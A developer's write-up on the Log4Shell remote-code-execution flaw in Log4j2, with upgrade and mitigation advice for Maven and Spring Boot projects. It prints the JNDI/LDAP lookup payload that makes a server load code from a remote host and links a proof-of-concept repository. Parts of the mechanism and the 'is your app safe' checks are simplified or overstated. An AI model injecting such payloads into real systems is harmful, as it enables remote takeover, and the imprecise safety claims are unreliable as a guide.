Zero Day Vulnerability- Log4J

Zero day vulnerability Issue – Log4j RCE

As you might be aware of the recent zero day vulnerability incident which affected many of the enterprise applications which runs on JDK which uses log4j2 as an underlying framework for logging. Immediately when this was reported, log4j team came up with a solution immediately. However, the impact of the vulnerability is so huge in such a way that the servers are exploited by the remote code execution (RCE)

“A zero-day vulnerability is a vulnerability in a system or device that has been disclosed but is not yet patched. An exploit that attacks a zero-day vulnerability is called a zero-day exploit.”

Source: https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability

As the developers across the world were busy in updating the patch with the latest version of the log4j2, we were also going through the same set of activities to fix the issue in our applications before it is being exploited by any cyber attackers.

I wanted to bring up my understanding and analysis on the issue and how it is causing the RCE and what the fix needs to be given from our end in order to resolve this at the earliest. We wanted to understand the root cause of the problem on how this affects the system. For that, we need to have a basic understanding of few components before we understand how it affects the system

JNDI – Java Naming and Directory Interface

Read: https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

LDAP – Lightweight Directory Access Protocol

Read: https://searchmobilecomputing.techtarget.com/definition/LDAP

Log4J: Logging Framework

https://logging.apache.org/log4j/2.x/

What is the issue?

The issue is mainly because log4j2 allows JNDI lookup. The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.

We need to understand the below point which is key here

“if the key contains a ":" no prefix will be added”

This is the implementation behavior which allowed the attacker to allow a remote code execution in your server. As a developer, we always try to add as many logs as possible in order to trouble shoot any issues post deployment. Because of this, if we are trying to log any data which is presented by the user without validation, then we exposed the risk of our applications to be vulnerable to the attackers.

logger.info(“Chat message {}”, msg);

The above code is quite common in most of the applications and similar kind of code is mostly used to log the messages. It may not look vulnerable at first sight. However, if you allow the user to send a message as something like below

“jndi:ldap://ip:port/Exploit”, then your application is attacked

* - Exploit is just an executable program that exploits the vulnerability

To read more on replicating this in local, please read below

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

How it works

To keep it simple, assume the below code

logger.error("${jndi:ldap://127.0.0.1:9095/Exploit}");

When this code is executed in the server, then the below list of actions are performed

1.      The message contains “:” in it. So, log4J2 will not add any prefix to it and the jndi will be performed

2.      The message contains ldap://ip:port, which means the client host url of the hacker will get added to the ldap urls of the server

3.      The server will then start allowing any messages coming to it from the client IP address and the exploit process which is registered in the client machine can now execute any code in the server. This is nothing but the remote code execution(RCE)

Versions affected

Log4J: all versions from 2.0-beta9 to 2.14.1

Read: https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html

Is your application safe?

Your app is safe if you are using one of the below

1. IF you are using JDK 11 or higher. Check the below properties. If you see the value of the below code is false, then the JNDI lookup is prevented

System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase")

2. If you are using Log4j 1.x – Log4j 1.x doesn’t offer lookup mechanism. But, it is always recommended to a higher version since 1.x is no more supported

3. If you are already upgraded to Log4j 2.15.0 or greater

I am using Slf4j2. Am I affected?

Yes. Slf4J is an interface. If you are using log4j 2.x as an underlying framework, then you are affected. You must overwrite the dependency version in the pom.xml

Read: http://www.slf4j.org/log4shell.html

I am using spring boot starter logging. Am I affected?

“Spring Boot users are only affected by this vulnerability if they have switched the default logging system to Log4J2. The log4j-to-slf4j and log4j-api jars that we include in spring-boot-starter-logging cannot be exploited on their own. Only applications using log4j-core and including user input in log messages are vulnerable”

Ref: https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

Unless you add log4j-core to your project, you are safe. To mitigate and override the default version of log4j which comes with spring boot, add the below to your properties

<properties>

               <log4j2.version>2.16.0</log4j2.version>

</properties>

How to upgrade?

1.      If you are using only log4j 2.x and directly imported that through maven dependency(same for gradle as well), then you need to upgrade to the latest version

2.      If you are not using log4j directly in your pom.xml but using spring boot or spring starter, then the spring boot bundles the log4j for you. Open the pom.xml and check the dependency hierarchy to understand which version of log4j2 is used. Spring boot is coming up with an update which also upgrades the log4j to 2.16.0. However, you can right away update the log4j2 just by using the below in the property file

<properties>

               <log4j2.version>2.16.0</log4j2.version>

</properties>

This will update the log4j2 version to the latest

3.      If you are not planning for an immediate upgrade, then you need to start the JVM with the below run time args

-Dlog4j2.formatMsgNoLookups=true

4.      You can update the below system property and restart the JVM

formatMsgNoLookups: true

Please feel free to add if I missed anything or you have any other ideas on this issue

References

https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability

https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

https://searchmobilecomputing.techtarget.com/definition/LDAP

https://logging.apache.org/log4j/2.x/

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html

http://www.slf4j.org/log4shell.html

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot